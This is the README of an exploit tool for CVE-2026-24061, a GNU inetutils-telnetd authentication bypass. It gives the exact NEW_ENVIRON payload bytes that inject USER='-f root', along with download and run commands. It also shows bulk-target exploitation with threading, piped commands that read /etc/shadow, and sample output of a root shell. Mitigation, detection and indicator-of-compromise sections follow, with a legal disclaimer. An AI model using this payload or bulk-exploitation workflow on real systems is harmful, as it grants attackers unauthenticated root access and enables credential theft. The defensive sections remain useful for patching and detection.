CVE-2026-24061

GNU inetutils-telnetd - Remote Authentication Bypass

A security research tool for exploiting CVE-2026-24061, a critical remote authentication bypass vulnerability in GNU inetutils-telnetd that allows instant root shell access without authentication.

Table of Contents

• Vulnerability Summary
• Affected Versions
• Technical Analysis
• Prerequisites
• Installation
• Usage
• Output Reference
• Exploitation Methodology
• Mitigation and Remediation
• Indicators of Compromise
• Legal Disclaimer
• References
• Credits

Vulnerability Summary

Executive Summary

A critical vulnerability exists in GNU inetutils-telnetd through version 2.7 that allows unauthenticated remote attackers to bypass authentication entirely and gain immediate root shell access. The vulnerability is exploited through the NEW_ENVIRON telnet option by injecting a specially crafted USER environment variable with the value "-f root", which bypasses all authentication mechanisms.

Impact Assessment

• Confidentiality: Complete compromise of system data
• Integrity: Full system control with root privileges
• Availability: Potential for complete system takeover or denial of service
• Scope: Unchanged - exploitation affects only the vulnerable telnet service

Affected Versions

Technical Analysis

Vulnerability Root Cause

The vulnerability originates from improper validation of the USER environment variable in the telnetd NEW_ENVIRON option handler. When processing the NEW_ENVIRON telnet option, the telnetd service fails to sanitize the USER variable value before passing it to the login process. By setting USER to "-f root", the attacker injects command-line arguments that force the authentication to succeed for the root user without requiring credentials.

Attack Vector

1. Attacker connects to the telnetd service (typically port 23)
2. During telnet option negotiation, the server requests NEW_ENVIRON data
3. Attacker responds with USER environment variable set to "-f root"
4. The malicious argument bypasses authentication checks
5. Instant root shell is granted without any password prompt
6. Full system compromise is achieved

Exploitation Complexity

• Prerequisites: Network access to target telnetd service
• Authentication: Not required
• User Interaction: None
• Attack Complexity: Low

Prerequisites

System Requirements

• Python 3.7 or higher
• Network connectivity to target telnetd instance(s)
• Sufficient permissions to execute Python scripts

Dependencies

All dependencies are part of Python's standard library:

Installation

Method 1: Using Git

# Clone the repository
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061

# Run the exploit
python3 main.py -u <target_ip>

Method 2: Direct Download

# Download the exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py

# Make it executable (Linux/macOS)
chmod +x main.py

# Run the exploit
python3 main.py -u <target_ip>

Method 3: Manual Installation

# Ensure Python 3.7+ is installed
python3 --version

# Download and run
python3 main.py -u <target_ip>

Usage

Command Line Interface

Usage:
    python3 main.py -u <target_ip> [-p <port>] [-usr <user>]
    python3 main.py -l <targets_file> [-p <port>] [-usr <user>]
    echo "commands" | python3 main.py -u <target_ip>

Arguments:
    -u          Single target IP address or hostname
    -l          Path to file containing target IPs (one per line)
    -p          Target port (default: 23)
    -usr        User to exploit as (default: root)

Single Target Exploitation

Exploit a single telnetd instance:

# Basic exploitation (default port 23, user root)
python3 main.py -u 192.168.1.100

# Custom port
python3 main.py -u 192.168.1.100 -p 2323

# Different user
python3 main.py -u 192.168.1.100 -usr admin

Command Execution Mode

Execute commands non-interactively:

# Single command
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100

# Multiple commands
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100

# Command with output redirection
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100

Bulk Target Exploitation

Exploit multiple targets from a file:

python3 main.py -l targets.txt
python3 main.py -l targets.txt -p 2323
python3 main.py -l targets.txt -usr admin

Target File Format (targets.txt):

192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com

Notes:

• One target per line
• IP addresses or hostnames
• Empty lines are ignored
• Targets are exploited concurrently using threading

Output Reference

Status Indicators

Sample Output

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass        ║
║                                                               ║
║  CVSS Score: 9.8 (Critical)                                   ║
║  Impact: Remote Authentication Bypass - Instant Root Shell    ║
║                                                               ║
║          This tool is part of the HGrab Framework.            ║
╚═══════════════════════════════════════════════════════════════╝

[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands

# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root

Exploitation Methodology

Telnet Protocol Negotiation Process

The exploit leverages the telnet protocol negotiation phase:

1. Initial Connection: TCP connection established to target port
2. Option Negotiation: Server sends DO/WILL commands for various telnet options
3. TTYPE Agreement: Client agrees to send terminal type (WILL TTYPE)
4. TSPEED Agreement: Client agrees to send terminal speed (WILL TSPEED)
5. NEW_ENVIRON Agreement: Client agrees to send environment variables (WILL NEW_ENVIRON)
6. Subnegotiation: Server requests environment variables (SB NEW_ENVIRON SEND)
7. Payload Injection: Client sends USER="-f root" in NEW_ENVIRON response
8. Authentication Bypass: Server processes malicious USER variable
9. Shell Access: Root shell granted without authentication

Payload Structure

# Telnet IAC (Interpret As Command) = 255
# SB (Subnegotiation Begin) = 250
# SE (Subnegotiation End) = 240
# NEW_ENVIRON option = 39

payload = bytes([
    255,        # IAC
    250,        # SB
    39,         # NEW_ENVIRON
    0,          # IS
    0,          # VAR
]) + b"USER" + bytes([1]) + b"-f root" + bytes([
    255,        # IAC
    240         # SE
])

Interactive Session Handling

• Input Multiplexing: Uses select.select() for simultaneous socket and stdin monitoring
• Non-blocking I/O: Socket configured for non-blocking operations
• Telnet Processing: IAC sequences stripped from output for clean display
• Timeout Management: 30-second timeout for command execution

Mitigation and Remediation

Immediate Actions

1. Disable telnetd: Stop and disable the telnetd service immediately

   root@kitploit:~

   # systemd-based systems
   sudo systemctl stop telnetd
   sudo systemctl disable telnetd
   
   # xinetd-based systems
   sudo service xinetd stop
   sudo chkconfig telnet off
   

2. Firewall Rules: Block telnet port (23) at the firewall level

   root@kitploit:~

   # iptables
   sudo iptables -A INPUT -p tcp --dport 23 -j DROP
   
   # firewalld
   sudo firewall-cmd --permanent --remove-service=telnet
   sudo firewall-cmd --reload
   

3. Network Isolation: Remove telnet service from internet-facing systems

   • Use internal network segments only
   • Implement network access control lists (ACLs)

Long-term Recommendations

Alternative Solutions

Use SSH instead of Telnet:

# Install OpenSSH server
sudo apt-get install openssh-server  # Debian/Ubuntu
sudo yum install openssh-server      # RHEL/CentOS

# Enable and start SSH
sudo systemctl enable sshd
sudo systemctl start sshd

Verification After Mitigation

# Verify telnetd is not running
sudo netstat -tlnp | grep :23
sudo ss -tlnp | grep :23

# Should return no results if properly disabled

Indicators of Compromise

Log Analysis

Review system logs for the following patterns:

Authentication Logs:

# Check for unusual login patterns
sudo grep telnetd /var/log/auth.log
sudo grep telnetd /var/log/secure

# Look for suspicious USER environment variables
sudo grep "USER.*-f" /var/log/auth.log

Network Logs:

• Telnet connections from unexpected IP addresses
• Connections to port 23 outside normal operating hours
• Multiple rapid connections to telnet service

System Artifacts

• Unexpected processes running as root
• Modified system configuration files
• Unauthorized user accounts
• New SSH keys in /root/.ssh/authorized_keys
• Suspicious cron jobs or scheduled tasks

Network Indicators

• Outbound connections from the telnet service process
• Data exfiltration to external hosts
• Reverse shell connections
• Port scanning activity originating from compromised system
• Lateral movement attempts to other internal systems

Detection Commands

# Check for active telnet connections
sudo netstat -antp | grep :23

# Review recent root logins
sudo last | grep root

# Check for modified system files
sudo rpm -Va  # RHEL/CentOS
sudo debsums -c  # Debian/Ubuntu

# List processes by root
sudo ps aux | grep root

# Check for unauthorized SSH keys
sudo cat /root/.ssh/authorized_keys

Legal Disclaimer

IMPORTANT: READ BEFORE USE

This tool is provided strictly for:

• Authorized security assessments and penetration testing
• Educational and research purposes in controlled environments
• Defensive security operations with proper authorization
• Vulnerability assessment of systems you own or have explicit permission to test

Prohibited Uses:

• Unauthorized access to computer systems or networks
• Exploitation of systems without explicit written consent from the owner
• Any activity that violates local, state, federal, or international laws
• Malicious activities or unauthorized system compromise

Liability: The authors, contributors, and distributors of this software assume NO responsibility or liability for misuse, damage, or illegal activities conducted with this tool. Users are solely responsible for:

• Ensuring compliance with all applicable laws and regulations
• Obtaining proper authorization before conducting security testing
• Any consequences resulting from the use or misuse of this software

Legal Notice: Unauthorized access to computer systems is a serious criminal offense. Violations may result in prosecution under:

• Computer Fraud and Abuse Act (CFAA) - United States (18 U.S.C. § 1030)
• Computer Misuse Act 1990 - United Kingdom
• European Union Directive on Attacks against Information Systems
• Similar legislation in other jurisdictions worldwide

Penalties may include imprisonment, substantial fines, and civil liability.

By using this tool, you acknowledge that you have read, understood, and agree to comply with this disclaimer and all applicable laws.

References

Official Resources

• GNU Inetutils Homepage
• GNU Inetutils Documentation

Vulnerability Information

• NVD - CVE-2026-24061
• MITRE CVE Record
• OpenWall Disclosure (Jan 20, 2026)
• OpenWall Discussion (Jan 20, 2026)
• OpenWall Update (Jan 22, 2026)

Related Documentation

• CWE-88: Improper Neutralization of Argument Delimiters
• Telnet Protocol Specification (RFC 854)
• Telnet Environment Option (RFC 1408)
• OWASP Command Injection

Security Best Practices

• NIST Guidelines for Remote Access
• CIS Benchmarks
• SANS Security Resources

Credits

• Exploit Author: IRIS C2 Team
• Framework: Part of the HGrab Framework
• Discovery: Security Research Community
• Disclosure: OpenWall mailing list contributors

Changelog

Support and Contact

For questions, issues, or contributions:

• Issues: Report bugs or request features via GitHub Issues
• Security: Report vulnerabilities responsibly to the maintainers
• Contributions: Pull requests are welcome

License

This project is provided as-is for authorized security research and educational purposes only. No warranty is provided, express or implied. Use at your own risk and in accordance with all applicable laws and regulations.

USE ONLY WITH PROPER AUTHORIZATION